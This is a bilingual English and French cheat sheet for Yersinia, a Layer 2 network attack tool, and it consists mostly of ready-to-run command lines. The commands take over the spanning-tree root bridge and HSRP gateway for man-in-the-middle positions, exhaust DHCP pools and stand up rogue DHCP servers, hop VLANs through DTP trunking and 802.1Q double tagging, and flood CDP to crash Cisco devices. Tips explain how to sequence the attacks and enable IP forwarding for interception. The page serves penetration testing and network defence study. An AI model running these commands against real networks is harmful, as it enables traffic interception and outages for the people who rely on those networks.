yersinia
Outil d'attaque de protocoles réseau de couche 2. Exploite les faiblesses de STP, CDP, DTP, DHCP, HSRP, VTP et 802.1Q pour attaquer l'infrastructure réseau : manipulation du spanning tree, VLAN hopping, et serveurs DHCP rogues. Layer 2 network protocol attack tool. Exploits weaknesses in STP, CDP, DTP, DHCP, HSRP, VTP, and 802.1Q to attack network infrastructure — spanning tree manipulation, VLAN hopping, and rogue DHCP servers.
↗ https://github.com/tomac/yersiniaOverview
Yersinia attacks Layer 2 network protocols. It targets Spanning Tree Protocol (STP), DHCP, CDP, VTP, HSRP, DTP, and 802.1Q — protocols that are often trusted implicitly in switched networks. Successfully exploiting these can lead to MITM, VLAN hopping, and network disruption.
Basic Usage
Interactive mode
sudo yersinia -I
GTK GUI mode
sudo yersinia -G
Command line attack
sudo yersinia PROTOCOL -attack ATTACK_TYPE -interface eth0
Spanning Tree Protocol (STP) Attacks
Become root bridge (MITM via STP manipulation)
sudo yersinia stp -attack 0 -interface eth0
Send BPDUs to confuse switches
sudo yersinia stp -attack 1 -interface eth0
DoS — flood STP BPDUs
sudo yersinia stp -attack 2 -interface eth0
→ If successful, switches continuously recalculate topology
DHCP Attacks
DHCP starvation (exhaust IP pool)
sudo yersinia dhcp -attack 1 -interface eth0
Rogue DHCP server (requires prior starvation)
sudo yersinia dhcp -attack 2 -interface eth0
DHCP discover flood
sudo yersinia dhcp -attack 0 -interface eth0
VLAN Hopping (DTP/802.1Q)
DTP attack — try to trunk the port (access VLAN traffic)
sudo yersinia dtp -attack 1 -interface eth0
802.1Q double tagging (bypass VLAN segmentation)
sudo yersinia dot1q -attack 0 -interface eth0
CDP and VTP
CDP flooding — overwhelm Cisco devices with CDP packets
sudo yersinia cdp -attack 1 -interface eth0
VTP attack — inject VTP messages
sudo yersinia vtp -attack 0 -interface eth0
HSRP Attacks
Become active HSRP router (intercept gateway traffic)
sudo yersinia hsrp -attack 0 -interface eth0
HSRP with specific virtual IP
sudo yersinia hsrp -attack 1 -interface eth0
Interactive Mode
Launch TUI
sudo yersinia -I
# Navigation:
# F1-F12: switch between protocol panels
# x: show attack options for selected protocol
# a: launch attack
# L: list current attacks
# Q: quit
Tips
- STP root bridge attack creates MITM position — all traffic flows through you
- DHCP starvation must precede rogue DHCP server setup
- DTP trunking only works if the switch port is configured as auto/desirable
- CDP flooding can crash older Cisco devices (memory exhaustion)
- Always enable IP forwarding before MITM attacks:
sysctl -w net.ipv4.ip_forward=1
Help / Man page
yersinia [options] [protocol] [attack_options]
-I Interactive (TUI) mode
-G GTK GUI mode
-l List protocols
-h Help
Protocols: stp, cdp, dtp, dhcp, dot1q, hsrp, isl, vtp
Protocol attacks (yersinia PROTO -attack N -interface IFACE):
stp: 0=root, 1=BPDU flood, 2=STP DoS
dhcp: 0=discover, 1=starvation, 2=rogue server
dtp: 0=flood, 1=trunk, 2=negotiate
cdp: 0=flood, 1=flooding
hsrp: 0=active, 1=hello flood
Vue d’ensemble
Yersinia attaque les protocoles réseau de couche 2. Il cible le Spanning Tree Protocol (STP), DHCP, CDP, VTP, HSRP, DTP, et 802.1Q : des protocoles souvent implicitement approuvés dans les réseaux commutés. Exploiter ces protocoles avec succès peut mener à du MITM, du VLAN hopping, et une perturbation du réseau.
Utilisation de base
# Mode interactif
sudo yersinia -I
# Mode GUI GTK
sudo yersinia -G
# Attaque en ligne de commande
sudo yersinia PROTOCOL -attack ATTACK_TYPE -interface eth0
Attaques Spanning Tree Protocol (STP)
# Devenir le root bridge (MITM via manipulation STP)
sudo yersinia stp -attack 0 -interface eth0
# Envoyer des BPDU pour confondre les switchs
sudo yersinia stp -attack 1 -interface eth0
# DoS : flood de BPDU STP
sudo yersinia stp -attack 2 -interface eth0
→ En cas de succès, les switchs recalculent en continu la topologie
Attaques DHCP
# Épuisement DHCP (épuiser le pool d'IP)
sudo yersinia dhcp -attack 1 -interface eth0
# Serveur DHCP rogue (nécessite un épuisement préalable)
sudo yersinia dhcp -attack 2 -interface eth0
# Flood de DHCP discover
sudo yersinia dhcp -attack 0 -interface eth0
VLAN Hopping (DTP/802.1Q)
# Attaque DTP : tenter de trunker le port (accéder au trafic VLAN)
sudo yersinia dtp -attack 1 -interface eth0
# Double tagging 802.1Q (contourner la segmentation VLAN)
sudo yersinia dot1q -attack 0 -interface eth0
CDP et VTP
# Flood CDP : submerger les équipements Cisco de paquets CDP
sudo yersinia cdp -attack 1 -interface eth0
# Attaque VTP : injecter des messages VTP
sudo yersinia vtp -attack 0 -interface eth0
Attaques HSRP
# Devenir le routeur HSRP actif (intercepter le trafic de passerelle)
sudo yersinia hsrp -attack 0 -interface eth0
# HSRP avec une IP virtuelle spécifique
sudo yersinia hsrp -attack 1 -interface eth0
Mode interactif
Lancer la TUI
sudo yersinia -I
# Navigation :
# F1-F12 : basculer entre les panneaux de protocole
# x : afficher les options d'attaque pour le protocole sélectionné
# a : lancer l'attaque
# L : lister les attaques en cours
# Q : quitter
Conseils
- L’attaque de root bridge STP crée une position MITM : tout le trafic passe par vous
- L’épuisement DHCP doit précéder la mise en place d’un serveur DHCP rogue
- Le trunking DTP ne fonctionne que si le port du switch est configuré en auto/desirable
- Le flood CDP peut faire planter les anciens équipements Cisco (épuisement mémoire)
- Toujours activer l’IP forwarding avant les attaques MITM :
sysctl -w net.ipv4.ip_forward=1
Aide / Page de manuel
yersinia [options] [protocol] [attack_options]
-I Interactive (TUI) mode
-G GTK GUI mode
-l List protocols
-h Help
Protocols: stp, cdp, dtp, dhcp, dot1q, hsrp, isl, vtp
Protocol attacks (yersinia PROTO -attack N -interface IFACE):
stp: 0=root, 1=BPDU flood, 2=STP DoS
dhcp: 0=discover, 1=starvation, 2=rogue server
dtp: 0=flood, 1=trunk, 2=negotiate
cdp: 0=flood, 1=flooding
hsrp: 0=active, 1=hello flood